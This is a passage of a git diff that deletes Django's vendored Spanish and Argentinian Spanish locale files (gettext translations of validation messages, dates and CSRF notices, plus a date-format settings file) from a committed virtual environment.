o igual a %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Asegúrese de que este valor es mayor o igual a %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Asegúrese de que este valor es múltiplo de %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Asegúrese de que este valor sea un múltiplo del tamaño del " -"paso%(limit_value)s, comenzando en%(offset)s, p.ej. %(offset)s, " -"%(valid_value1)s, %(valid_value2)s, etcétera." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asegúrese de que este valor tenga al menos %(limit_value)d caracter (tiene " -"%(show_value)d)." -msgstr[1] "" -"Asegúrese de que este valor tenga al menos %(limit_value)d carácter(es) " -"(tiene%(show_value)d)." -msgstr[2] "" -"Asegúrese de que este valor tenga al menos %(limit_value)d carácter(es) " -"(tiene%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asegúrese de que este valor tenga menos de %(limit_value)d caracter (tiene " -"%(show_value)d)." -msgstr[1] "" -"Asegúrese de que este valor tenga menos de %(limit_value)d caracteres (tiene " -"%(show_value)d)." -msgstr[2] "" -"Asegúrese de que este valor tenga menos de %(limit_value)d caracteres (tiene " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Introduzca un número." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Asegúrese de que no hay más de %(max)s dígito en total." -msgstr[1] "Asegúrese de que no haya más de %(max)s dígitos en total." -msgstr[2] "Asegúrese de que no haya más de %(max)s dígitos en total." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Asegúrese de que no haya más de %(max)s dígito decimal." -msgstr[1] "Asegúrese de que no haya más de %(max)s dígitos decimales." -msgstr[2] "Asegúrese de que no haya más de %(max)s dígitos decimales." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Asegúrese de que no haya más de %(max)s dígito antes del punto decimal" -msgstr[1] "" -"Asegúrese de que no haya más de %(max)s dígitos antes del punto decimal." -msgstr[2] "" -"Asegúrese de que no haya más de %(max)s dígitos antes del punto decimal." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"La extensión de archivo “%(extension)s” no esta permitida. Las extensiones " -"permitidas son: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Los caracteres nulos no están permitidos." - -msgid "and" -msgstr "y" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s con este %(field_labels)s ya existe." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "No se cumple la restricción \"%(name)s\"." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Valor %(value)r no es una opción válida." - -msgid "This field cannot be null." -msgstr "Este campo no puede ser nulo." - -msgid "This field cannot be blank." -msgstr "Este campo no puede estar vacío." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Ya existe %(model_name)s con este %(field_label)s." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s debe ser único para %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Campo de tipo: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s”: el valor debe ser Verdadero o Falso." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "“%(value)s”: el valor debe ser Verdadero, Falso o Nulo." - -msgid "Boolean (Either True or False)" -msgstr "Booleano (Verdadero o Falso)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Cadena (máximo %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Cadena (ilimitado)" - -msgid "Comma-separated integers" -msgstr "Enteros separados por coma" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"“%(value)s” : el valor tiene un formato de fecha inválido. Debería estar en " -"el formato YYYY-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"“%(value)s” : el valor tiene el formato correcto (YYYY-MM-DD) pero es una " -"fecha inválida." - -msgid "Date (without time)" -msgstr "Fecha (sin hora)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"“%(value)s”: el valor tiene un formato inválido. Debería estar en el formato " -"YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"“%(value)s”: el valor tiene el formato correcto (YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ]) pero es una fecha inválida." - -msgid "Date (with time)" -msgstr "Fecha (con hora)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s”: el valor debe ser un número decimal." - -msgid "Decimal number" -msgstr "Número decimal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"“%(value)s”: el valor tiene un formato inválido. Debería estar en el formato " -"[DD] [[HH:]MM:]ss[.uuuuuu]" - -msgid "Duration" -msgstr "Duración" - -msgid "Email address" -msgstr "Correo electrónico" - -msgid "File path" -msgstr "Ruta de fichero" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "“%(value)s”: el valor debería ser un número de coma flotante." - -msgid "Floating point number" -msgstr "Número en coma flotante" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "“%(value)s”: el valor debería ser un numero entero" - -msgid "Integer" -msgstr "Entero" - -msgid "Big (8 byte) integer" -msgstr "Entero grande (8 bytes)" - -msgid "Small integer" -msgstr "Entero corto" - -msgid "IPv4 address" -msgstr "Dirección IPv4" - -msgid "IP address" -msgstr "Dirección IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "“%(value)s”: el valor debería ser None, Verdadero o Falso." - -msgid "Boolean (Either True, False or None)" -msgstr "Booleano (Verdadero, Falso o Nulo)" - -msgid "Positive big integer" -msgstr "Entero grande positivo" - -msgid "Positive integer" -msgstr "Entero positivo" - -msgid "Positive small integer" -msgstr "Entero positivo corto" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (hasta %(max_length)s)" - -msgid "Text" -msgstr "Texto" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"“%(value)s”: el valor tiene un formato inválido. Debería estar en el formato " -"HH:MM[:ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"“%(value)s” : el valor tiene el formato correcto (HH:MM[:ss[.uuuuuu]]) pero " -"es un tiempo inválido." - -msgid "Time" -msgstr "Hora" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Datos binarios en bruto" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” no es un UUID válido." - -msgid "Universally unique identifier" -msgstr "Identificador universal único" - -msgid "File" -msgstr "Archivo" - -msgid "Image" -msgstr "Imagen" - -msgid "A JSON object" -msgstr "Un objeto JSON" - -msgid "Value must be valid JSON." -msgstr "El valor debe ser un objeto JSON válido." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "La instancia de %(model)s con %(field)s %(value)r no existe." - -msgid "Foreign Key (type determined by related field)" -msgstr "Clave foránea (tipo determinado por el campo relacionado)" - -msgid "One-to-one relationship" -msgstr "Relación uno-a-uno" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "relación %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "relaciones %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Relación muchos-a-muchos" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Este campo es obligatorio." - -msgid "Enter a whole number." -msgstr "Introduzca un número entero." - -msgid "Enter a valid date." -msgstr "Introduzca una fecha válida." - -msgid "Enter a valid time." -msgstr "Introduzca una hora válida." - -msgid "Enter a valid date/time." -msgstr "Introduzca una fecha/hora válida." - -msgid "Enter a valid duration." -msgstr "Introduzca una duración válida." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "El número de días debe estar entre {min_days} y {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"No se ha enviado ningún fichero. Compruebe el tipo de codificación en el " -"formulario." - -msgid "No file was submitted." -msgstr "No se ha enviado ningún fichero" - -msgid "The submitted file is empty." -msgstr "El fichero enviado está vacío." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Asegúrese de que este nombre de archivo tenga como máximo %(max)d caracter " -"(tiene %(length)d)." -msgstr[1] "" -"Asegúrese de que este nombre de archivo tenga como máximo %(max)d " -"carácter(es) (tiene %(length)d)." -msgstr[2] "" -"Asegúrese de que este nombre de archivo tenga como máximo %(max)d " -"carácter(es) (tiene %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Por favor envíe un fichero o marque la casilla de limpiar, pero no ambos." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Envíe una imagen válida. El fichero que ha enviado no era una imagen o se " -"trataba de una imagen corrupta." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Escoja una opción válida. %(value)s no es una de las opciones disponibles." - -msgid "Enter a list of values." -msgstr "Introduzca una lista de valores." - -msgid "Enter a complete value." -msgstr "Introduzca un valor completo." - -msgid "Enter a valid UUID." -msgstr "Introduzca un UUID válido." - -msgid "Enter a valid JSON." -msgstr "Ingresa un JSON válido." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Campo oculto %(name)s) *%(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Los datos de ManagementForm faltan o han sido alterados. Campos que faltan: " -"%(field_names)s. Es posible que deba presentar un informe de error si el " -"problema persiste." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Por favor, envíe %(num)d formulario como máximo." -msgstr[1] "Por favor, envíe %(num)d formularios como máximo." -msgstr[2] "Por favor, envíe %(num)d formularios como máximo." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Por favor, envíe %(num)d formulario como mínimo." -msgstr[1] "Por favor, envíe %(num)d formularios como mínimo." -msgstr[2] "Por favor, envíe %(num)d formularios como mínimo." - -msgid "Order" -msgstr "Orden" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Por favor, corrija el dato duplicado para %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Por favor corrija el dato duplicado para %(field)s, ya que debe ser único." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Por favor corrija los datos duplicados para %(field_name)s ya que debe ser " -"único para %(lookup)s en %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Por favor, corrija los valores duplicados abajo." - -msgid "The inline value did not match the parent instance." -msgstr "El valor en línea no coincide con la instancia padre." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Escoja una opción válida. Esa opción no está entre las disponibles." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” no es un valor válido." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s no pudo ser interpretado en la zona horaria " -"%(current_timezone)s; podría ser ambiguo o no existir." - -msgid "Clear" -msgstr "Limpiar" - -msgid "Currently" -msgstr "Actualmente" - -msgid "Change" -msgstr "Modificar" - -msgid "Unknown" -msgstr "Desconocido" - -msgid "Yes" -msgstr "Sí" - -msgid "No" -msgstr "No" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "sí,no,quizás" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" -msgstr[2] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "medianoche" - -msgid "noon" -msgstr "mediodía" - -msgid "Monday" -msgstr "lunes" - -msgid "Tuesday" -msgstr "martes" - -msgid "Wednesday" -msgstr "miércoles" - -msgid "Thursday" -msgstr "jueves" - -msgid "Friday" -msgstr "viernes" - -msgid "Saturday" -msgstr "sábado" - -msgid "Sunday" -msgstr "domingo" - -msgid "Mon" -msgstr "lun" - -msgid "Tue" -msgstr "mar" - -msgid "Wed" -msgstr "mié" - -msgid "Thu" -msgstr "jue" - -msgid "Fri" -msgstr "vie" - -msgid "Sat" -msgstr "sáb" - -msgid "Sun" -msgstr "dom" - -msgid "January" -msgstr "enero" - -msgid "February" -msgstr "febrero" - -msgid "March" -msgstr "marzo" - -msgid "April" -msgstr "abril" - -msgid "May" -msgstr "mayo" - -msgid "June" -msgstr "junio" - -msgid "July" -msgstr "julio" - -msgid "August" -msgstr "agosto" - -msgid "September" -msgstr "septiembre" - -msgid "October" -msgstr "octubre" - -msgid "November" -msgstr "noviembre" - -msgid "December" -msgstr "diciembre" - -msgid "jan" -msgstr "ene" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "abr" - -msgid "may" -msgstr "may" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "ago" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "oct" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dic" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Ene." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "marzo" - -msgctxt "abbrev. month" -msgid "April" -msgstr "abril" - -msgctxt "abbrev. month" -msgid "May" -msgstr "mayo" - -msgctxt "abbrev. month" -msgid "June" -msgstr "junio" - -msgctxt "abbrev. month" -msgid "July" -msgstr "julio" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "ago." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "oct." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "dic." - -msgctxt "alt. month" -msgid "January" -msgstr "enero" - -msgctxt "alt. month" -msgid "February" -msgstr "febrero" - -msgctxt "alt. month" -msgid "March" -msgstr "marzo" - -msgctxt "alt. month" -msgid "April" -msgstr "abril" - -msgctxt "alt. month" -msgid "May" -msgstr "mayo" - -msgctxt "alt. month" -msgid "June" -msgstr "junio" - -msgctxt "alt. month" -msgid "July" -msgstr "julio" - -msgctxt "alt. month" -msgid "August" -msgstr "agosto" - -msgctxt "alt. month" -msgid "September" -msgstr "septiembre" - -msgctxt "alt. month" -msgid "October" -msgstr "octubre" - -msgctxt "alt. month" -msgid "November" -msgstr "noviembre" - -msgctxt "alt. month" -msgid "December" -msgstr "diciembre" - -msgid "This is not a valid IPv6 address." -msgstr "No es una dirección IPv6 válida." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "o" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d año" -msgstr[1] "%(num)d años" -msgstr[2] "%(num)d años" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d mes" -msgstr[1] "%(num)d meses" -msgstr[2] "%(num)d meses" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d semana" -msgstr[1] "%(num)d semanas" -msgstr[2] "%(num)d semanas" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d día" -msgstr[1] "%(num)d días" -msgstr[2] "%(num)d días" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d hora" -msgstr[1] "%(num)d horas" -msgstr[2] "%(num)d horas" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minuto" -msgstr[1] "%(num)d minutos" -msgstr[2] "%(num)d minutos" - -msgid "Forbidden" -msgstr "Prohibido" - -msgid "CSRF verification failed. Request aborted." -msgstr "La verificación CSRF ha fallado. Solicitud abortada." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Estás viendo este mensaje porque este sitio HTTPS requiere que tu navegador " -"web envíe un \"encabezado de referencia\", pero no se envió ninguno. Este " -"encabezado es necesario por razones de seguridad, para garantizar que su " -"navegador no sea secuestrado por terceros." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Si ha configurado su navegador para deshabilitar los encabezados " -"\"Referer\", vuelva a habilitarlos, al menos para este sitio, o para " -"conexiones HTTPS, o para solicitudes del \"mismo origen\"." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Si esta utilizando la etiqueta o incluyendo el encabezado \"Referrer-Policy: no-referrer\", " -"elimínelos. La protección CSRF requiere que el encabezado \"Referer\" " -"realice una comprobación estricta del referente. Si le preocupa la " -"privacidad, utilice alternativas como para los " -"enlaces a sitios de terceros." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Estás viendo este mensaje porqué esta web requiere una cookie CSRF cuando se " -"envían formularios. Esta cookie se necesita por razones de seguridad, para " -"asegurar que tu navegador no ha sido comprometido por terceras partes." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Si ha configurado su navegador para deshabilitar las cookies, vuelva a " -"habilitarlas, al menos para este sitio o para solicitudes del \"mismo " -"origen\"." - -msgid "More information is available with DEBUG=True." -msgstr "Más información disponible si se establece DEBUG=True." - -msgid "No year specified" -msgstr "No se ha indicado el año" - -msgid "Date out of range" -msgstr "Fecha fuera de rango" - -msgid "No month specified" -msgstr "No se ha indicado el mes" - -msgid "No day specified" -msgstr "No se ha indicado el día" - -msgid "No week specified" -msgstr "No se ha indicado la semana" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "No %(verbose_name_plural)s disponibles" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Los futuros %(verbose_name_plural)s no están disponibles porque " -"%(class_name)s.allow_future es Falso." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Cadena de fecha no valida “%(datestr)s” dado el formato “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "No se encontró ningún %(verbose_name)s coincidente con la consulta" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "La página no es la \"última\", ni se puede convertir a un entero." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Página inválida (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Lista vacía y “%(class_name)s.allow_empty” es Falso" - -msgid "Directory indexes are not allowed here." -msgstr "Los índices de directorio no están permitidos." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” no existe" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Índice de %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "¡La instalación funcionó con éxito! ¡Felicitaciones!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Ve la notas de la versión de Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Estás viendo esta página porque DEBUG=True está en su archivo de configuración y no ha " -"configurado ninguna URL." - -msgid "Django Documentation" -msgstr "Documentación de Django" - -msgid "Topics, references, & how-to’s" -msgstr "Temas, referencias, & como hacer" - -msgid "Tutorial: A Polling App" -msgstr "Tutorial: Una aplicación de encuesta" - -msgid "Get started with Django" -msgstr "Comienza con Django" - -msgid "Django Community" -msgstr "Comunidad Django" - -msgid "Connect, get help, or contribute" -msgstr "Conéctate, obtén ayuda o contribuye" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/es/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/es/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index e8a6a5bb..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/es/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index f67eb0ad..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/es/formats.py deleted file mode 100644 index f2716bb0..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/es/formats.py +++ /dev/null @@ -1,30 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = r"j \d\e F \d\e Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = r"j \d\e F \d\e Y \a \l\a\s H:i" -YEAR_MONTH_FORMAT = r"F \d\e Y" -MONTH_DAY_FORMAT = r"j \d\e F" -SHORT_DATE_FORMAT = "d/m/Y" -SHORT_DATETIME_FORMAT = "d/m/Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '31/12/2009' - "%d/%m/%y", # '31/12/09' -] -DATETIME_INPUT_FORMATS = [ - "%d/%m/%Y %H:%M:%S", - "%d/%m/%Y %H:%M:%S.%f", - "%d/%m/%Y %H:%M", - "%d/%m/%y %H:%M:%S", - "%d/%m/%y %H:%M:%S.%f", - "%d/%m/%y %H:%M", -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_AR/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/es_AR/LC_MESSAGES/django.mo deleted file mode 100644 index c4130b77..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es_AR/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_AR/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/es_AR/LC_MESSAGES/django.po deleted file mode 100644 index 543a7d27..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/es_AR/LC_MESSAGES/django.po +++ /dev/null @@ -1,1378 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# lardissone , 2014 -# Natalia, 2023 -# poli , 2014 -# Ramiro Morales, 2013-2025 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Ramiro Morales, 2013-2025\n" -"Language-Team: Spanish (Argentina) (http://app.transifex.com/django/django/" -"language/es_AR/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: es_AR\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "afrikáans" - -msgid "Arabic" -msgstr "árabe" - -msgid "Algerian Arabic" -msgstr "Árabe de Argelia" - -msgid "Asturian" -msgstr "asturiano" - -msgid "Azerbaijani" -msgstr "azerbaiyán" - -msgid "Bulgarian" -msgstr "búlgaro" - -msgid "Belarusian" -msgstr "bielorruso" - -msgid "Bengali" -msgstr "bengalí" - -msgid "Breton" -msgstr "bretón" - -msgid "Bosnian" -msgstr "bosnio" - -msgid "Catalan" -msgstr "catalán" - -msgid "Central Kurdish (Sorani)" -msgstr "Kurdo central (Sorani)" - -msgid "Czech" -msgstr "checo" - -msgid "Welsh" -msgstr "galés" - -msgid "Danish" -msgstr "danés" - -msgid "German" -msgstr "alemán" - -msgid "Lower Sorbian" -msgstr "bajo sorabo" - -msgid "Greek" -msgstr "griego" - -msgid "English" -msgstr "inglés" - -msgid "Australian English" -msgstr "inglés australiano" - -msgid "British English" -msgstr "inglés británico" - -msgid "Esperanto" -msgstr "esperanto" - -msgid "Spanish" -msgstr "español" - -msgid "Argentinian Spanish" -msgstr "español (Argentina)" - -msgid "Colombian Spanish" -msgstr "español (Colombia)" - -msgid "Mexican Spanish" -msgstr "español (México)" - -msgid "Nicaraguan Spanish" -msgstr "español (Nicaragua)" - -msgid "Venezuelan Spanish" -msgstr "español (Venezuela)" - -msgid "Estonian" -msgstr "estonio" - -msgid "Basque" -msgstr "vasco" - -msgid "Persian" -msgstr "persa" - -msgid "Finnish" -msgstr "finlandés" - -msgid "French" -msgstr "francés" - -msgid "Frisian" -msgstr "frisón" - -msgid "Irish" -msgstr "irlandés" - -msgid "Scottish Gaelic" -msgstr "gaélico escocés" - -msgid "Galician" -msgstr "gallego" - -msgid "Hebrew" -msgstr "hebreo" - -msgid "Hindi" -msgstr "hindi" - -msgid "Croatian" -msgstr "croata" - -msgid "Upper Sorbian" -msgstr "alto sorabo" - -msgid "Hungarian" -msgstr "húngaro" - -msgid "Armenian" -msgstr "armenio" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "indonesio" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "ido" - -msgid "Icelandic" -msgstr "islandés" - -msgid "Italian" -msgstr "italiano" - -msgid "Japanese" -msgstr "japonés" - -msgid "Georgian" -msgstr "georgiano" - -msgid "Kabyle" -msgstr "cabilio" - -msgid "Kazakh" -msgstr "kazajo" - -msgid "Khmer" -msgstr "jémer" - -msgid "Kannada" -msgstr "canarés" - -msgid "Korean" -msgstr "coreano" - -msgid "Kyrgyz" -msgstr "kirguís" - -msgid "Luxembourgish" -msgstr "luxemburgués" - -msgid "Lithuanian" -msgstr "lituano" - -msgid "Latvian" -msgstr "letón" - -msgid "Macedonian" -msgstr "macedonio" - -msgid "Malayalam" -msgstr "malabar" - -msgid "Mongolian" -msgstr "mongol" - -msgid "Marathi" -msgstr "maratí" - -msgid "Malay" -msgstr "malayo" - -msgid "Burmese" -msgstr "burmés" - -msgid "Norwegian Bokmål" -msgstr "bokmål noruego" - -msgid "Nepali" -msgstr "nepalés" - -msgid "Dutch" 